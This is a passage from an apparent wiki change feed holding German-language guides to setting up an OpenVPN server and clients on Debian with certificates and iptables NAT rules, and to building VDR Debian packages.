&lt;br /&gt;
Specifically, the last octet in the IP address of each endpoint pair must be taken from this set:&lt;br /&gt;
&lt;br /&gt;
 [ 1, 2] [ 5, 6] [ 9, 10] [ 13, 14] [ 17, 18]&lt;br /&gt;
 [ 21, 22] [ 25, 26] [ 29, 30] [ 33, 34] [ 37, 38]&lt;br /&gt;
 [ 41, 42] [ 45, 46] [ 49, 50] [ 53, 54] [ 57, 58]&lt;br /&gt;
 [ 61, 62] [ 65, 66] [ 69, 70] [ 73, 74] [ 77, 78]&lt;br /&gt;
 [ 81, 82] [ 85, 86] [ 89, 90] [ 93, 94] [ 97, 98]&lt;br /&gt;
 [101,102] [105,106] [109,110] [113,114] [117,118]&lt;br /&gt;
 [121,122] [125,126] [129,130] [133,134] [137,138]&lt;br /&gt;
 [141,142] [145,146] [149,150] [153,154] [157,158]&lt;br /&gt;
 [161,162] [165,166] [169,170] [173,174] [177,178]&lt;br /&gt;
 [181,182] [185,186] [189,190] [193,194] [197,198]&lt;br /&gt;
 [201,202] [205,206] [209,210] [213,214] [217,218]&lt;br /&gt;
 [221,222] [225,226] [229,230] [233,234] [237,238]&lt;br /&gt;
 [241,242] [245,246] [249,250] [253,254] &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Jetzt legen wir auf dem Client eine Config unter /etc/openvpn/ an, z.B.  &amp;quot;client.conf&amp;quot;. Die endung &amp;quot;.conf&amp;quot; ist&lt;br /&gt;
dabei fuer den Daemon wichtig, denn alle .conf-Dateien in diesem Verzeichnis werden vom Init-Script automatisch&lt;br /&gt;
bei Systemstart gestartet und beim Shutdown gestoppt. Falls der Autostart nicht erwuenscht ist muss man openvpn&lt;br /&gt;
aus den runleveln mit &amp;quot;update-rc.d -f openvpn remove&amp;quot;(Debian Lenny 5.0) oder&lt;br /&gt;
&amp;quot;update-rc.d-insserv -f openvpn remove&amp;quot;(Debian Squeeze 6.0) und dann manuell mit&lt;br /&gt;
&amp;quot;openvpn --config /etc/openvpn/client.conf&amp;quot; gestartet werden.&lt;br /&gt;
Bei einem Windows Client muss die Endung &amp;quot;.ovpn&amp;quot; lauten:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 # Diese Config initiiert einen Client&lt;br /&gt;
 client&lt;br /&gt;
 &lt;br /&gt;
 # zusaetzlich TLS-Authentication-Client&lt;br /&gt;
 tls-client&lt;br /&gt;
 &lt;br /&gt;
 # UDP ist Pflicht fuer TAP, wir nutzen aber TUN&lt;br /&gt;
 ;proto udp&lt;br /&gt;
 proto tcp&lt;br /&gt;
 &lt;br /&gt;
 # Das Device muss fuer bridging TAP sein, wir nutzen aber TUN&lt;br /&gt;
 ;dev tap&lt;br /&gt;
 dev tun&lt;br /&gt;
 &lt;br /&gt;
 # Remote-Server&lt;br /&gt;
 remote [IP des Servers] [Port des Servers]&lt;br /&gt;
 &lt;br /&gt;
 # Keinen lokalen Port festlegen&lt;br /&gt;
 nobind&lt;br /&gt;
 &lt;br /&gt;
 # Kompression&lt;br /&gt;
 comp-lzo&lt;br /&gt;
 &lt;br /&gt;
 #Verschluesselungs-Algorithmus&lt;br /&gt;
 cipher AES-256-CBC&lt;br /&gt;
 &lt;br /&gt;
 ca /etc/openvpn/keys/ca.crt&lt;br /&gt;
 cert /etc/openvpn/keys/[Client-Name].crt&lt;br /&gt;
 key /etc/openvpn/keys/[Client-Name].key&lt;br /&gt;
 &lt;br /&gt;
 # Folgendes auskommentieren wenn man nicht mit dem DNS des Server surfen moechte&lt;br /&gt;
 redirect-gateway&lt;br /&gt;
 &lt;br /&gt;
 # Weitere Configs&lt;br /&gt;
 resolv-retry infinite&lt;br /&gt;
 ns-cert-type server&lt;br /&gt;
 persist-key&lt;br /&gt;
 persist-tun&lt;br /&gt;
 verb 3&lt;br /&gt;
 float&lt;br /&gt;
 up /etc/openvpn/update-resolv-conf&lt;br /&gt;
 down /etc/openvpn/update-resolv-conf&lt;br /&gt;
 script-security 2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nun nur noch vom Server die Dateien /etc/openvpn/keys/ca.crt /etc/openvpn/keys/[Client-Name].crt&lt;br /&gt;
und /etc/openvpn/keys/[Client-Name].key auf den jeweiligen Client nach /etc/openvpn/keys kopieren.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
FORWARD TRAFFIC VIA VPN&lt;br /&gt;
Falls man redirect-gateway am Client nutzen will, also ueber die Ip des Servers surfen moechte,&lt;br /&gt;
ist noch folgendes notwendig:&lt;br /&gt;
(Im Kernel werden dafuer folgende Module benoetigt: ip_tables ip_conntrack ip_conntrack_ftp ip_conntrack_irc&lt;br /&gt;
iptable_nat ip_nat_ftp und evtl ip_nat_irc)&lt;br /&gt;
&lt;br /&gt;
Im Server IP-Forwarding aktivieren waehrend der aktiven Laufzeit&lt;br /&gt;
 echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Um dies bei jedem Bootvorgang permanent zu machen, muss in /etc/sysctl.conf&lt;br /&gt;
 #net.ipv4.ip_forward=1&lt;br /&gt;
nach&lt;br /&gt;
 net.ipv4.ip_forward=1&lt;br /&gt;
geaendert werden.&lt;br /&gt;
&lt;br /&gt;
Dann muessen einige Iptables Regeln gesetzt werden (Interface eth0 muss evtl angepasst werden,&lt;br /&gt;
zb bei einem openvz VPS kann es venet0 sein, immer das Interface was die verbindung ins Internet hat):&lt;br /&gt;
 iptables -A FORWARD -i eth0 -o tun0 -m state --state ESTABLISHED,RELATED -j ACCEPT&lt;br /&gt;
 iptables -A FORWARD -s 10.11.12.0/24 -o eth0 -j ACCEPT&lt;br /&gt;
&lt;br /&gt;
Entweder wenn MASQUERADE auf dem Server aktiviert ist reicht folgendes:&lt;br /&gt;
 iptables -t nat -A POSTROUTING -s 10.11.12.0/24 -o eth0 -j MASQUERADE&lt;br /&gt;
&lt;br /&gt;
Wenn nicht und man die Fehlermeldung &amp;quot;iptables: No chain/target/match by that name&amp;quot; bekommt, kann man noch diese Moeglichkeit probieren:&lt;br /&gt;
 iptables -t nat -A POSTROUTING -s 10.11.12.0/24 -j SNAT --to-source 1.1.1.1&lt;br /&gt;
(Die IP 1.1.1.1 MUSS gegen die oeffentliche IP des Servers gewechselt werden.)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Sobald alles wie gewollt laeuft, kann man die Regeln wie folgt speichern und beim Bootvorgang&lt;br /&gt;
automatisch laden lassen:&lt;br /&gt;
 iptables-save &amp;gt; /etc/iptables.up.rules&lt;br /&gt;
 nano /etc/network/if-pre-up.d/iptables&lt;br /&gt;
Hier fuegen wir folgende Zeilen ein:&lt;br /&gt;
 #!/bin/bash&lt;br /&gt;
 /sbin/iptables-restore &amp;lt; /etc/iptables.up.rules&lt;br /&gt;
&lt;br /&gt;
Dann setzen wir noch folgende Rechte:&lt;br /&gt;
 chmod +x /etc/network/if-pre-up.d/iptables&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Basierend auf folgenden Anleitungen:&lt;br /&gt;
 http://blog.kleen.ch/2010/06/01/von-uberall-ins-lan-mittels-openvpn/&lt;br /&gt;
 http://sohonetwork.blogspot.de/2012/05/install-openvpn-ubuntu-vps-10-minutes.html&lt;br /&gt;
/von-uberall-ins-lan-mittels-openvpn/&lt;/div&gt;</summary>
		<author><name>SOliver</name></author>
	</entry>
	<entry>
		<id>https://wiki.oppserver.net/index.php?title=DEBIAN_OPENVPN_FAQ&amp;diff=78</id>
		<title>DEBIAN OPENVPN FAQ</title>
		<link rel="alternate" type="text/html" href="https://wiki.oppserver.net/index.php?title=DEBIAN_OPENVPN_FAQ&amp;diff=78"/>
		<updated>2013-04-29T18:37:23Z</updated>

		<summary type="html">&lt;p&gt;SOliver: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;DEBIAN OPENVPN FAQ (Stand 29.04.2013) [ © Oliver Schuetz aka OppTupacShakur | http://OPPServer.net | http://unix.oppserver.net ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Als root einloggen!!!&lt;br /&gt;
Die IP Range 10.11.12.x kann natuerlich gegen jede andere Private IP Range gewechselt werden, z.B. 192.168.100.x.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Prerequisite&lt;br /&gt;
Bevor wir OpenVPN installieren, pruefen wir ob es das tun device gibt:&lt;br /&gt;
&lt;br /&gt;
 cat /dev/net/tun &lt;br /&gt;
&lt;br /&gt;
Falls man die Meldung &amp;quot;File descriptor in bad state&amp;quot; bekommt, ist alles in Ordnung.&lt;br /&gt;
Falls nicht, muss man seinen Server/VPS/VServer Provider bitten tun/tap zu aktivieren.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Zunaechst installieren wir openVPN auf dem Server und auf dem Client:&lt;br /&gt;
 aptitude install openvpn&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dann stellen wir sicher, dass keine ungewollten Configs herumschwirren (openVPN erstellt gerne Samples)&lt;br /&gt;
und loeschen die Dateien (nicht die Ordner) innerhalb von /etc/openvpn:&lt;br /&gt;
 rm -rf /etc/openvpn/examples&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Auf dem Server erstellen wir unsere Schluessel und Zertifikate. Daher kopieren wir die easy-rsa-Tools von&lt;br /&gt;
openVPN ins Config-Verzeichnis:&lt;br /&gt;
 cp -rf /usr/share/doc/openvpn/examples/easy-rsa/2.0 /etc/openvpn/easy-rsa&lt;br /&gt;
 cd /etc/openvpn/easy-rsa&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nun bereiten wir das easy-rsa-Tool auf das Erstellen der Zertifikate und Schluessel vor:&lt;br /&gt;
Dazu editieren wir zunaechst die vars mit userem Lieblingseditor (z.B. nano /etc/openvpn/easy-rsa/vars).&lt;br /&gt;
Dabei interessieren eigentlich nur die Werte fuer &amp;quot;KEY_SIZE&amp;quot;, wo wir 2048 nehmen, &amp;quot;CA_EXPIRE&amp;quot;, wo wir&lt;br /&gt;
fuer die Ewigkeit 7300 (20 Jahre) nehmen, &amp;quot;KEY_EXPIRE&amp;quot;, wo wir 7300 (20 Jahre) nehmen, und &amp;quot;KEY_COUNTRY&amp;quot;,&lt;br /&gt;
&amp;quot;KEY_PROVINCE&amp;quot;, &amp;quot;KEY_CITY&amp;quot;, &amp;quot;KEY_ORG&amp;quot; und &amp;quot;KEY_EMAIL&amp;quot;, was wohl selbsterklaerend ist.&lt;br /&gt;
Damit diese Werte verwendet werden, lesen wir sie in unsere Shell-Sitzung ein:&lt;br /&gt;
 . ./vars&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Um zunaechst reinen Tisch zu machen, fuehren wir das Clean-Tool aus, erstellen eine neue CA und erzeugen&lt;br /&gt;
einen Diffie-Hellman-Parameter mit 2048 Bit:&lt;br /&gt;
 ./clean-all&lt;br /&gt;
 ./build-ca&lt;br /&gt;
 ./build-dh&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Wenn die Erzeugung des Diffie-Hellman-Paramters abgeschlossen ist, erzeugen wir nun noch ein Server-Zertifikat:&lt;br /&gt;
 ./build-key-server [Server-Name]&lt;br /&gt;
&lt;br /&gt;
Bei [Server-Name] koennen wir dabei einsetzen, was wir wollen. Wichtig ist dabei, dass der Name (CN) absolut&lt;br /&gt;
eindeutig bleibt. Auch sollte bedacht werden, dass wir fuer verschiedene Configs nicht mehrere&lt;br /&gt;
Zertifikat-Key-Paare benoetigen. Wir muessen also keine komplizierten Namen bestehend aus Verwendungszweck&lt;br /&gt;
und Hostnamen verwenden. Ich empfehle ein simples &amp;quot;openVPN-Server&amp;quot;. Was genau da nun drinsteht,&lt;br /&gt;
interessiert letztendlich niemanden mehr.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Um nun Client-Zertifikate zu erstellen, ist ab sofort nur noch folgendes Procedere noetig,&lt;br /&gt;
uebrigens wann immer man moechte:&lt;br /&gt;
&lt;br /&gt;
 . ./vars&lt;br /&gt;
 ./build-key [Client-Name]&lt;br /&gt;
Am Ende mit 2x y bestaetigen.&lt;br /&gt;
&lt;br /&gt;
Bitte auch hier auf die Eindeutigkeit des Client-Namens achten.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nun legen wir noch einen Link fuer die Keys an und erstellen das client dir:&lt;br /&gt;
 ln -s /etc/openvpn/easy-rsa/keys /etc/openvpn/keys&lt;br /&gt;
 mkdir /etc/openvpn/clients&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Jetzt legen wir auf dem Server eine Config unter /etc/openvpn/ an, z.B.  &amp;quot;server.conf&amp;quot;. Die endung &amp;quot;.conf&amp;quot; ist&lt;br /&gt;
dabei fuer den Daemon wichtig, denn alle .conf-Dateien in diesem Verzeichnis werden vom Init-Script automatisch&lt;br /&gt;
bei Systemstart gestartet und beim Shutdown gestoppt:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 # Diese Config initiiert einen Server mit mehreren Clients&lt;br /&gt;
 mode server&lt;br /&gt;
 &lt;br /&gt;
 # zusaetzlich TLS-Authentication-Server&lt;br /&gt;
 tls-server&lt;br /&gt;
 &lt;br /&gt;
 # lokale IP&lt;br /&gt;
 local [IP des Servers]&lt;br /&gt;
 &lt;br /&gt;
 # Um die Rechte einzuschraenken&lt;br /&gt;
 user nobody&lt;br /&gt;
 group nogroup&lt;br /&gt;
 &lt;br /&gt;
 # Port (beliebig, nur mind. 4-stellig)&lt;br /&gt;
 port 5000&lt;br /&gt;
 &lt;br /&gt;
 # UDP ist Pflicht fuer TAP, wir nutzen aber TUN&lt;br /&gt;
 ;proto udp&lt;br /&gt;
 proto tcp&lt;br /&gt;
 &lt;br /&gt;
 # Das Device muss fuer bridging TAP sein, wir nutzen aber TUN&lt;br /&gt;
 ;dev tap&lt;br /&gt;
 dev tun&lt;br /&gt;
 &lt;br /&gt;
 # Hiermit vergeben wir dem Server und den Clients IPs&lt;br /&gt;
 server 10.11.12.0 255.255.255.0&lt;br /&gt;
 &lt;br /&gt;
 ca /etc/openvpn/keys/ca.crt&lt;br /&gt;
 cert /etc/openvpn/keys/[Server-Name].crt&lt;br /&gt;
 key /etc/openvpn/keys/[Server-Name].key&lt;br /&gt;
 dh /etc/openvpn/keys/dh2048.pem&lt;br /&gt;
 &lt;br /&gt;
 # Wir komprimieren, um die Bandbreite zu verbessern&lt;br /&gt;
 comp-lzo&lt;br /&gt;
 &lt;br /&gt;
 # Welcher Verschluesselungs-Algorithmus?&lt;br /&gt;
 cipher AES-256-CBC&lt;br /&gt;
 &lt;br /&gt;
 # Aufrechterhaltung der Verbindung&lt;br /&gt;
 keepalive 10 120&lt;br /&gt;
 &lt;br /&gt;
 # Client-to-Client-Traffic erlauben&lt;br /&gt;
 client-to-client&lt;br /&gt;
 &lt;br /&gt;
 # Clients mit selben Key erlauben zu verbinden&lt;br /&gt;
 duplicate-cn&lt;br /&gt;
 &lt;br /&gt;
 # Max. Anzahl an Clients erlauben&lt;br /&gt;
 max-clients 100&lt;br /&gt;
 &lt;br /&gt;
 # einige log Configs&lt;br /&gt;
 persist-key&lt;br /&gt;
 persist-tun&lt;br /&gt;
 status openvpn-status.log&lt;br /&gt;
 verb 3&lt;br /&gt;
 nice -10&lt;br /&gt;
 &lt;br /&gt;
 # Clients eigene Configs zuteilen (siehe unten)&lt;br /&gt;
 client-config-dir clients&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Jetzt bekommt jeder normale Benutzer eine IP-Adresse von 10.11.12.0/24. Unsere &amp;quot;speziellen&amp;quot;&lt;br /&gt;
Benutzer muessen noch mithilfe des common names vom Zertifikat spezielle Regeln bekommen, dazu&lt;br /&gt;
gibt es den Befehl client-config-dir &amp;lt;Verzeichnis&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
 client-config-dir clients&lt;br /&gt;
&lt;br /&gt;
Je nach common name vom Zertifikat wird jetzt die Konfiguration clients/[Client-Name] aufgerufen.&lt;br /&gt;
Jetzt brauchen wir nur noch Dateien fuer die entsprechenden Benutzer erstellen:&lt;br /&gt;
&lt;br /&gt;
 clients/client1:&lt;br /&gt;
    ifconfig-push 10.11.12.6 10.11.12.5&lt;br /&gt;
 clients/client2:&lt;br /&gt;
    ifconfig-push 10.11.12.10 10.11.12.9&lt;br /&gt;
&lt;br /&gt;
ifconfig-push weisst den Clients eine virtuelle IP zu, die kann dann per routing auf die&lt;br /&gt;
entsprechenden Server gerouted werden. Die erste IP-Adresse gibt die Adresse des virtuellen&lt;br /&gt;
Clients an, die 2. des virtuellen Server endpoints. Laut openvpn.org-HOWTO muessen Sie aus /30&lt;br /&gt;
Subnets geholt werden, damit die Windows Clients/TAP-Win32 Treiber mitspielen.&lt;br /&gt;
&lt;br /&gt;
Quote von http://openvpn.net/howto.html:&lt;br /&gt;
&lt;br /&gt;
Specifically, the last octet in the IP address of each endpoint pair must be taken from this set:&lt;br /&gt;
&lt;br /&gt;
 [ 1, 2] [ 5, 6] [ 9, 10] [ 13, 14] [ 17, 18]&lt;br /&gt;
 [ 21, 22] [ 25, 26] [ 29, 30] [ 33, 34] [ 37, 38]&lt;br /&gt;
 [ 41, 42] [ 45, 46] [ 49, 50] [ 53, 54] [ 57, 58]&lt;br /&gt;
 [ 61, 62] [ 65, 66] [ 69, 70] [ 73, 74] [ 77, 78]&lt;br /&gt;
 [ 81, 82] [ 85, 86] [ 89, 90] [ 93, 94] [ 97, 98]&lt;br /&gt;
 [101,102] [105,106] [109,110] [113,114] [117,118]&lt;br /&gt;
 [121,122] [125,126] [129,130] [133,134] [137,138]&lt;br /&gt;
 [141,142] [145,146] [149,150] [153,154] [157,158]&lt;br /&gt;
 [161,162] [165,166] [169,170] [173,174] [177,178]&lt;br /&gt;
 [181,182] [185,186] [189,190] [193,194] [197,198]&lt;br /&gt;
 [201,202] [205,206] [209,210] [213,214] [217,218]&lt;br /&gt;
 [221,222] [225,226] [229,230] [233,234] [237,238]&lt;br /&gt;
 [241,242] [245,246] [249,250] [253,254] &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Jetzt legen wir auf dem Client eine Config unter /etc/openvpn/ an, z.B.  &amp;quot;client.conf&amp;quot;. Die endung &amp;quot;.conf&amp;quot; ist&lt;br /&gt;
dabei fuer den Daemon wichtig, denn alle .conf-Dateien in diesem Verzeichnis werden vom Init-Script automatisch&lt;br /&gt;
bei Systemstart gestartet und beim Shutdown gestoppt. Falls der Autostart nicht erwuenscht ist muss man openvpn&lt;br /&gt;
aus den runleveln mit &amp;quot;update-rc.d -f openvpn remove&amp;quot;(Debian Lenny 5.0) oder&lt;br /&gt;
&amp;quot;update-rc.d-insserv -f openvpn remove&amp;quot;(Debian Squeeze 6.0) und dann manuell mit&lt;br /&gt;
&amp;quot;openvpn --config /etc/openvpn/client.conf&amp;quot; gestartet werden.&lt;br /&gt;
Bei einem Windows Client muss die Endung &amp;quot;.ovpn&amp;quot; lauten:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 # Diese Config initiiert einen Client&lt;br /&gt;
 client&lt;br /&gt;
 &lt;br /&gt;
 # zusaetzlich TLS-Authentication-Client&lt;br /&gt;
 tls-client&lt;br /&gt;
 &lt;br /&gt;
 # UDP ist Pflicht fuer TAP, wir nutzen aber TUN&lt;br /&gt;
 ;proto udp&lt;br /&gt;
 proto tcp&lt;br /&gt;
 &lt;br /&gt;
 # Das Device muss fuer bridging TAP sein, wir nutzen aber TUN&lt;br /&gt;
 ;dev tap&lt;br /&gt;
 dev tun&lt;br /&gt;
 &lt;br /&gt;
 # Remote-Server&lt;br /&gt;
 remote [IP des Servers] [Port des Servers]&lt;br /&gt;
 &lt;br /&gt;
 # Keinen lokalen Port festlegen&lt;br /&gt;
 nobind&lt;br /&gt;
 &lt;br /&gt;
 # Kompression&lt;br /&gt;
 comp-lzo&lt;br /&gt;
 &lt;br /&gt;
 #Verschluesselungs-Algorithmus&lt;br /&gt;
 cipher AES-256-CBC&lt;br /&gt;
 &lt;br /&gt;
 ca /etc/openvpn/keys/ca.crt&lt;br /&gt;
 cert /etc/openvpn/keys/[Client-Name].crt&lt;br /&gt;
 key /etc/openvpn/keys/[Client-Name].key&lt;br /&gt;
 &lt;br /&gt;
 # Folgendes auskommentieren wenn man nicht mit dem DNS des Server surfen moechte&lt;br /&gt;
 redirect-gateway&lt;br /&gt;
 &lt;br /&gt;
 # Weitere Configs&lt;br /&gt;
 resolv-retry infinite&lt;br /&gt;
 ns-cert-type server&lt;br /&gt;
 persist-key&lt;br /&gt;
 persist-tun&lt;br /&gt;
 verb 3&lt;br /&gt;
 float&lt;br /&gt;
 up /etc/openvpn/update-resolv-conf&lt;br /&gt;
 down /etc/openvpn/update-resolv-conf&lt;br /&gt;
 script-security 2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nun nur noch vom Server die Dateien /etc/openvpn/keys/ca.crt /etc/openvpn/keys/[Client-Name].crt&lt;br /&gt;
und /etc/openvpn/keys/[Client-Name].key auf den jeweiligen Client nach /etc/openvpn/keys kopieren.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
FORWARD TRAFFIC VIA VPN&lt;br /&gt;
Falls man redirect-gateway am Client nutzen will, also ueber die Ip des Servers surfen moechte,&lt;br /&gt;
ist noch folgendes notwendig:&lt;br /&gt;
(Im Kernel werden dafuer folgende Module benoetigt: ip_tables ip_conntrack ip_conntrack_ftp ip_conntrack_irc&lt;br /&gt;
iptable_nat ip_nat_ftp und evtl ip_nat_irc)&lt;br /&gt;
&lt;br /&gt;
Im Server IP-Forwarding aktivieren waehrend der aktiven Laufzeit&lt;br /&gt;
 echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Um dies bei jedem Bootvorgang permanent zu machen, muss in /etc/sysctl.conf&lt;br /&gt;
 #net.ipv4.ip_forward=1&lt;br /&gt;
nach&lt;br /&gt;
 net.ipv4.ip_forward=1&lt;br /&gt;
geaendert werden.&lt;br /&gt;
&lt;br /&gt;
Dann muessen einige Iptables Regeln gesetzt werden (Interface eth0 muss evtl angepasst werden,&lt;br /&gt;
zb bei einem openvz VPS kann es venet0 sein, immer das Interface was die verbindung ins Internet hat):&lt;br /&gt;
 iptables -A FORWARD -i eth0 -o tun0 -m state --state ESTABLISHED,RELATED -j ACCEPT&lt;br /&gt;
 iptables -A FORWARD -s 10.11.12.0/24 -o eth0 -j ACCEPT&lt;br /&gt;
&lt;br /&gt;
Entweder wenn MASQUERADE auf dem Server aktiviert ist reicht folgendes:&lt;br /&gt;
 iptables -t nat -A POSTROUTING -s 10.11.12.0/24 -o eth0 -j MASQUERADE&lt;br /&gt;
&lt;br /&gt;
Wenn nicht und man die Fehlermeldung &amp;quot;iptables: No chain/target/match by that name&amp;quot; bekommt, kann man noch diese Moeglichkeit probieren:&lt;br /&gt;
 iptables -t nat -A POSTROUTING -s 10.11.12.0/24 -j SNAT --to-source 1.1.1.1&lt;br /&gt;
(Die IP 1.1.1.1 MUSS gegen die oeffentliche IP des Servers gewechselt werden.)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Sobald alles wie gewollt laeuft, kann man die Regeln wie folgt speichern und beim Bootvorgang&lt;br /&gt;
automatisch laden lassen:&lt;br /&gt;
 iptables-save &amp;gt; /etc/iptables.up.rules&lt;br /&gt;
 nano /etc/network/if-pre-up.d/iptables&lt;br /&gt;
Hier fuegen wir folgende Zeilen ein:&lt;br /&gt;
 #!/bin/bash&lt;br /&gt;
 /sbin/iptables-restore &amp;lt; /etc/iptables.up.rules&lt;br /&gt;
&lt;br /&gt;
Dann setzen wir noch folgende Rechte:&lt;br /&gt;
 chmod +x /etc/network/if-pre-up.d/iptables&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Basierend auf folgenden Anleitungen:&lt;br /&gt;
 http://blog.kleen.ch/2010/06/01/von-uberall-ins-lan-mittels-openvpn/&lt;br /&gt;
 http://sohonetwork.blogspot.de/2012/05/install-openvpn-ubuntu-vps-10-minutes.html&lt;br /&gt;
/von-uberall-ins-lan-mittels-openvpn/&lt;/div&gt;</summary>
		<author><name>SOliver</name></author>
	</entry>
	<entry>
		<id>https://wiki.oppserver.net/index.php?title=DEBIAN_SQUEEZE_PAKETE_ERSTELLEN&amp;diff=77</id>
		<title>DEBIAN SQUEEZE PAKETE ERSTELLEN</title>
		<link rel="alternate" type="text/html" href="https://wiki.oppserver.net/index.php?title=DEBIAN_SQUEEZE_PAKETE_ERSTELLEN&amp;diff=77"/>
		<updated>2013-04-29T14:04:40Z</updated>

		<summary type="html">&lt;p&gt;SOliver: Die Seite wurde neu angelegt: „DEBIAN SQUEEZE PAKETE ERSTELLEN (Stand 31.03.2013) [ © Oliver Schuetz aka OppTupacShakur | http://OPPServer.net | http://unix.oppserver.net ]  Als erstes beno…“&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;DEBIAN SQUEEZE PAKETE ERSTELLEN (Stand 31.03.2013) [ © Oliver Schuetz aka OppTupacShakur | http://OPPServer.net | http://unix.oppserver.net ]&lt;br /&gt;
&lt;br /&gt;
Als erstes benoetigte Pakete zum bauen installen:&lt;br /&gt;
&lt;br /&gt;
 aptitude install build-essential dpkg-dev devscripts expect fakeroot wget libssl-dev gettext dpatch dh-make libc6-dev gcc&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Bei dpkg-buildpackage gehe ich mit -j4 davon aus, das eine Quadcore/Vierkern CPU vorhanden ist, ansonsten einfach aendern.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
VDR (1.7.22+)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Als User (opp) ausfuehren:&lt;br /&gt;
 cd /etc/apt&lt;br /&gt;
 sudo rm -r sources.list&lt;br /&gt;
 sudo cp /etc/apt/sources.list.orig.vdr /etc/apt/sources.list&lt;br /&gt;
 sudo aptitude update&lt;br /&gt;
 sudo aptitude purge dvb-s2api-liplianin-source dvb-s2api-liplianin-headers make-special-vdr&lt;br /&gt;
 sudo aptitude install make-special-vdr&lt;br /&gt;
 cd /etc/apt&lt;br /&gt;
 sudo rm -rf /etc/apt/sources.list&lt;br /&gt;
 sudo cp /etc/apt/sources.list.vdr-build /etc/apt/sources.list&lt;br /&gt;
 sudo aptitude update&lt;br /&gt;
 cd /linux/repository/dists/squeeze/$(uname -m)/opp-vdr/vdr&lt;br /&gt;
 sudo apt-get source vdr&lt;br /&gt;
 sudo apt-get build-dep vdr&lt;br /&gt;
 sudo chown -R opp:users *&lt;br /&gt;
 rm -fv *.diff.gz &amp;amp;&amp;amp; rm -fv *.debian.tar.gz &amp;amp;&amp;amp; rm -fv *.dsc&lt;br /&gt;
 cd vdr-*&lt;br /&gt;
&lt;br /&gt;
debian/changelog anpassen.&lt;br /&gt;
&lt;br /&gt;
 time dpkg-buildpackage -rfakeroot -us -uc -sa -tc -j4&lt;br /&gt;
 cd /linux/repository/dists/squeeze/$(uname -m)/opp-vdr/vdr&lt;br /&gt;
 cp -v *.deb *.changes vdr_1.* /mirror/debian.oppserver.net/incoming/vdr/squeeze/&lt;br /&gt;
&lt;br /&gt;
Nun die Revision fuer die Plugins anpassen:&lt;br /&gt;
 expr `cat /linux/repository/dists/squeeze/$(uname -m)/opp-vdr/vdr/revision` + 1 &amp;gt; /linux/repository/dists/squeeze/$(uname -m)/opp-vdr/vdr/revision&lt;br /&gt;
&lt;br /&gt;
 cd /etc/apt&lt;br /&gt;
 sudo rm -r sources.list&lt;br /&gt;
 sudo cp /etc/apt/sources.list.orig.vdr /etc/apt/sources.list&lt;br /&gt;
 sudo aptitude update&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
VDRDEVEL (1.7.22+)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Als User (opp) ausfuehren:&lt;br /&gt;
 cd /etc/apt&lt;br /&gt;
 sudo rm -r sources.list&lt;br /&gt;
 sudo cp /etc/apt/sources.list.orig.vdr /etc/apt/sources.list&lt;br /&gt;
 sudo aptitude update&lt;br /&gt;
 sudo aptitude purge dvb-s2api-liplianin-source dvb-s2api-liplianin-headers make-special-vdr&lt;br /&gt;
 sudo aptitude install make-special-vdr&lt;br /&gt;
 cd /etc/apt&lt;br /&gt;
 sudo rm -rf /etc/apt/sources.list&lt;br /&gt;
 sudo cp /etc/apt/sources.list.vdrdevel-build /etc/apt/sources.list&lt;br /&gt;
 sudo aptitude update&lt;br /&gt;
 cd /linux/repository/dists/squeeze/$(uname -m)/opp-vdr/vdrdevel&lt;br /&gt;
 sudo apt-get source vdr&lt;br /&gt;
 sudo apt-get build-dep vdr&lt;br /&gt;
 sudo chown -R opp:users *&lt;br /&gt;
 rm -fv *.diff.gz &amp;amp;&amp;amp; rm -fv *.debian.tar.* &amp;amp;&amp;amp; rm -fv *.dsc&lt;br /&gt;
 cd vdr-*&lt;br /&gt;
&lt;br /&gt;
debian/changelog anpassen.&lt;br /&gt;
&lt;br /&gt;
 time SPECIAL_VDR_SUFFIX=devel dpkg-buildpackage -rfakeroot -us -uc -sa -tc -j4 -Rmake-special-vdr&lt;br /&gt;
 cd /linux/repository/dists/squeeze/$(uname -m)/opp-vdr/vdrdevel&lt;br /&gt;
 cp -v vdrdevel*.deb *.changes vdr_1.* /mirror/debian.oppserver.net/incoming/vdrdevel/squeeze/&lt;br /&gt;
&lt;br /&gt;
Nun die Revision fuer die Plugins anpassen:&lt;br /&gt;
